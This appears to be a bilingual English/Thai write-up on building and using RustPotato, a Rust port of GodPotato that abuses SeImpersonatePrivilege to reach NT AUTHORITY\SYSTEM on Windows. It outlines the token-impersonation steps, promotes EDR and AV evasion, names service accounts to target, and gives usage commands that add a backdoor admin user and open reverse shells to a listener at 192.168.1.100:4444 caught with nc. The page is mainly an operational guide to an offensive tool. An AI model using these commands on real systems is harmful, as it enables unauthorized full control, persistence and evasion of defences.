← Back to Tomes

RustPotato: GodPotato Ported to Rust🥔 RustPotato — Privilege Escalation via SeImpersonate

Source: github.com/safedv/RustPotato

Base: GodPotato (BeichenDream) ported to Rust

Target: Windows x86_64 → NT AUTHORITY\SYSTEM

Overview

RustPotato is a Rust implementation of GodPotato — a Privilege Escalation tool that abuses DCOM and RPC to leverage SeImpersonatePrivilege and elevate to NT AUTHORITY\SYSTEM on Windows.

Key Features:

  • TCP-based Reverse Shell (supports both cmd and powershell)
  • Indirect NTAPI Calls (avoids API hooking by EDR)
  • Cross-compilable from Linux (Kali) to Windows x86_64 binary

Differences from GodPotato (Original)

FeatureGodPotato (C#)RustPotato (Rust)
LanguageC# / .NETRust
Runtime.NET CLR RequiredNative Binary (no runtime)
NTAPIDirect API CallsIndirect NTAPI (stealthier)
Reverse ShellNo built-inTCP Reverse Shell built-in
AV EvasionLowerHigher (indirect syscalls)
Cross-compileNot supportedSupported (Linux → Windows)
Toolchain.NET SDKRust Nightly

Execution Flow

  1. Locate RPC_SERVER_INTERFACE — scan combase.dll memory for the RPC_SERVER_INTERFACE structure
  2. Hook RPC_DISPATCH_TABLE — inject a custom function pointer into the dispatch table
  3. Create Named Pipe — create a named pipe e.g. \.\pipe\RustPotato with unrestricted access
  4. Unmarshal COM Object — force RPCSS to connect to the named pipe
  5. Trigger RPCSS — fire RPC calls through the hooked dispatch table
  6. Impersonate Client — use ImpersonateNamedPipeClient to enter RPCSS's security context
  7. Retrieve SYSTEM Token — locate and duplicate the NT AUTHORITY\SYSTEM token
  8. Execute Command — run a command with CreateProcessWithTokenW as SYSTEM
  9. Restore & Cleanup — restore the dispatch table and shut down the named pipe server

Installation (on Kali Linux)

Prerequisites

  • Rust Nightly (version 1.86 or higher)
  • Cross-compile toolchain for x86_64-pc-windows-gnu

Step 1 — Install Rust Nightly

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
rustup install nightly-2025-02-14

Step 2 — Add Windows Target

rustup target add x86_64-pc-windows-gnu --toolchain nightly-2025-02-14

Step 3 — Clone Repository

git clone https://github.com/safedv/RustPotato
cd RustPotato

Step 4 — Build

# Clean build artifacts first (recommended)
rustup run nightly-2025-02-14 cargo clean

# Build release binary
rustup run nightly-2025-02-14 cargo build --release --target x86_64-pc-windows-gnu --features verbose

Output binary location: target/x86_64-pc-windows-gnu/release/RustPotato.exe

Usage

Syntax

RustPotato.exe [command line] | [options]

Options

OptionDescription
[command line]Run a command directly as SYSTEM
-h <LHOST>IP address of the listener (reverse shell)
-p <LPORT>Port of the listener (reverse shell)
-c <cmd|powershell>Shell type (default: cmd)

Examples

# Verify privilege escalation
RustPotato.exe "cmd.exe /c whoami"

# Add a local admin user
RustPotato.exe "cmd.exe /c net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add"

# Reverse shell with cmd (default)
RustPotato.exe -h 192.168.1.100 -p 4444

# Reverse shell with PowerShell
RustPotato.exe -h 192.168.1.100 -p 4444 -c powershell

Listener Setup (Kali)

nc -lvnp 4444

Demo

First verify SeImpersonatePrivilege is present:

Checking SeImpersonatePrivilege

Use the reverse shell command from the examples — more convenient than GodPotato:

Running RustPotato reverse shell

Start nc listener, catch the shell — SYSTEM. EZ.

SYSTEM shell obtained

Prerequisites on Target (Windows)

An account with SeImpersonatePrivilege, such as:

  • IIS AppPool
  • MSSQL Service Account
  • Network Service
  • Local Service

Supported on any Windows OS version (unlike JuicyPotato).

Check via Local Security Policy → Users Rights Assignment → Impersonate a client after authentication.

Prerequisites on target

Troubleshooting

Issue: Requires a specific Nightly Toolchain version

Symptom: Build fails with errors about feature flags or unstable API.
Cause: RustPotato uses Rust nightly features that are not yet stable.

rustup install nightly-2025-02-14
rustup run nightly-2025-02-14 cargo build ...

Issue: No linker for x86_64-pc-windows-gnu

Symptom:

error: linker `x86_64-w64-mingw32-gcc` not found

Fix (Kali/Debian):

sudo apt install gcc-mingw-w64-x86-64 -y

Issue: Cargo can't find target

Symptom: error[E0463]: can't find crate for 'std'
Cause: Target not added for that toolchain yet.

rustup target add x86_64-pc-windows-gnu --toolchain nightly-2025-02-14

Issue: Slow or stalled first build

rustup run nightly-2025-02-14 cargo clean
rustup run nightly-2025-02-14 cargo build --release --target x86_64-pc-windows-gnu --features verbose

Dependencies compiled during Build

proc-macro2, quote, unicode-ident
windows-link, windows-result, windows-strings, windows-core v0.61.2
winapi-x86_64-pc-windows-gnu v0.4.0, winapi v0.3.9
libc v0.2.186, libc-print v0.1.23
windows-threading, windows-interface, windows-implement
windows-collections, windows-future, windows-numerics, windows v0.61.3
base64 v0.22.1, syn v2.0.117, byteorder v1.5.0
RustPotato v0.1.0

References

Source: github.com/safedv/RustPotato

Base: GodPotato (BeichenDream) ported to Rust

Target: Windows x86_64 → NT AUTHORITY\SYSTEM

Overview

RustPotato เป็น Rust implementation ของ GodPotato ซึ่งเป็น Privilege Escalation tool ที่ใช้การ abuse DCOM และ RPC เพื่อ leverage SeImpersonatePrivilege และยกระดับสิทธิ์ขึ้นเป็น NT AUTHORITY\SYSTEM บน Windows

จุดเด่นหลัก:

  • TCP-based Reverse Shell (รองรับทั้ง cmd และ powershell)
  • Indirect NTAPI Calls (หลีกเลี่ยง API hooking จาก EDR)
  • Cross-compile ได้จาก Linux (Kali) ไปเป็น Windows x86_64 binary

ความแตกต่างจาก GodPotato (Original)

FeatureGodPotato (C#)RustPotato (Rust)
ภาษาC# / .NETRust
Runtime.NET CLR RequiredNative Binary (no runtime)
NTAPIDirect API CallsIndirect NTAPI (stealthier)
Reverse Shellไม่มี built-inมี TCP Reverse Shell built-in
AV Evasionต่ำกว่าสูงกว่า (indirect syscalls)
Cross-compileไม่รองรับรองรับ (Linux → Windows)
Toolchain.NET SDKRust Nightly

Execution Flow

  1. Locate RPC_SERVER_INTERFACE — สแกน memory ของ combase.dll หา RPC_SERVER_INTERFACE structure
  2. Hook RPC_DISPATCH_TABLE — แทรก custom function pointer เข้า dispatch table
  3. Create Named Pipe — สร้าง named pipe เช่น \\.\pipe\RustPotato พร้อม unrestricted access
  4. Unmarshal COM Object — บังคับให้ RPCSS เชื่อมต่อกับ named pipe
  5. Trigger RPCSS — ยิง RPC calls ผ่าน hooked dispatch table
  6. Impersonate Client — ใช้ ImpersonateNamedPipeClient เข้า security context ของ RPCSS
  7. Retrieve SYSTEM Token — ค้นหาและ duplicate token ของ NT AUTHORITY\SYSTEM
  8. Execute Command — รัน command ด้วย CreateProcessWithTokenW ในฐานะ SYSTEM
  9. Restore & Cleanup — คืน dispatch table และปิด named pipe server

การติดตั้ง (บน Kali Linux)

Prerequisites

  • Rust Nightly (version 1.86 ขึ้นไป)
  • Cross-compile toolchain สำหรับ x86_64-pc-windows-gnu

Step 1 — ติดตั้ง Rust Nightly

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
rustup install nightly-2025-02-14

Step 2 — เพิ่ม Windows Target

rustup target add x86_64-pc-windows-gnu --toolchain nightly-2025-02-14

Step 3 — Clone Repository

git clone https://github.com/safedv/RustPotato
cd RustPotato

Step 4 — Build

# Clean build artifacts ก่อน (แนะนำ)
rustup run nightly-2025-02-14 cargo clean

# Build release binary
rustup run nightly-2025-02-14 cargo build --release --target x86_64-pc-windows-gnu --features verbose

Output binary อยู่ที่: target/x86_64-pc-windows-gnu/release/RustPotato.exe

การใช้งาน (Usage)

Syntax

RustPotato.exe [command line] | [options]

Options

OptionDescription
[command line]รัน command โดยตรงในฐานะ SYSTEM
-h <LHOST>IP address ของ listener (reverse shell)
-p <LPORT>Port ของ listener (reverse shell)
-c <cmd|powershell>Shell type (default: cmd)

Examples

# ตรวจสอบ privilege escalation
RustPotato.exe "cmd.exe /c whoami"

# เพิ่ม local admin user
RustPotato.exe "cmd.exe /c net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add"

# Reverse shell ด้วย cmd (default)
RustPotato.exe -h 192.168.1.100 -p 4444

# Reverse shell ด้วย PowerShell
RustPotato.exe -h 192.168.1.100 -p 4444 -c powershell

Listener Setup (Kali)

nc -lvnp 4444

ตัวอย่างการใช้งาน

เริ่มจากเช็ค Privilege Name ว่ามี SeImpersonatePrivilege ไหม

ตรวจสอบ SeImpersonatePrivilege

ใช้ Command ตาม Example เพื่อใช้ในการ Reverse Shell มันสะดวกกว่า GodPotato อีกนะเนี่ย

รัน RustPotato reverse shell

เปิด nc รอเลย และก็รอรับ shell ได้ SYSTEM เรียบร้อย EZ

ได้ SYSTEM shell

Prerequisites บน Target (Windows)

บัญชีที่มี SeImpersonatePrivilege เช่น:

  • IIS AppPool
  • MSSQL Service Account
  • Network Service
  • Local Service

Windows OS ที่รองรับ ไม่จำกัด version (ต่างจาก JuicyPotato)

ตรวจเช็คได้จาก Local Security Policy -> Users Rights Assignment -> Impersonate a client after authentication

Prerequisites บน target

ปัญหาที่พบระหว่างติดตั้ง

ปัญหา: ต้องใช้ Nightly Toolchain เฉพาะ version

อาการ: Build ล้มเหลวด้วย error เกี่ยวกับ feature flags หรือ unstable API
สาเหตุ: RustPotato ใช้ Rust nightly features ที่ยังไม่ stable

rustup install nightly-2025-02-14
rustup run nightly-2025-02-14 cargo build ...

ปัญหา: ไม่มี linker สำหรับ x86_64-pc-windows-gnu

อาการ:

error: linker `x86_64-w64-mingw32-gcc` not found

แก้ไข (Kali/Debian):

sudo apt install gcc-mingw-w64-x86-64 -y

ปัญหา: Cargo build หา target ไม่เจอ

อาการ: error[E0463]: can't find crate for 'std'
สาเหตุ: ยังไม่ได้ add target สำหรับ toolchain นั้น

rustup target add x86_64-pc-windows-gnu --toolchain nightly-2025-02-14

ปัญหา: Build ช้า / สะดุดครั้งแรก

rustup run nightly-2025-02-14 cargo clean
rustup run nightly-2025-02-14 cargo build --release --target x86_64-pc-windows-gnu --features verbose

Dependencies ที่ compile ในขั้นตอน Build

proc-macro2, quote, unicode-ident
windows-link, windows-result, windows-strings, windows-core v0.61.2
winapi-x86_64-pc-windows-gnu v0.4.0, winapi v0.3.9
libc v0.2.186, libc-print v0.1.23
windows-threading, windows-interface, windows-implement
windows-collections, windows-future, windows-numerics, windows v0.61.3
base64 v0.22.1, syn v2.0.117, byteorder v1.5.0
RustPotato v0.1.0

References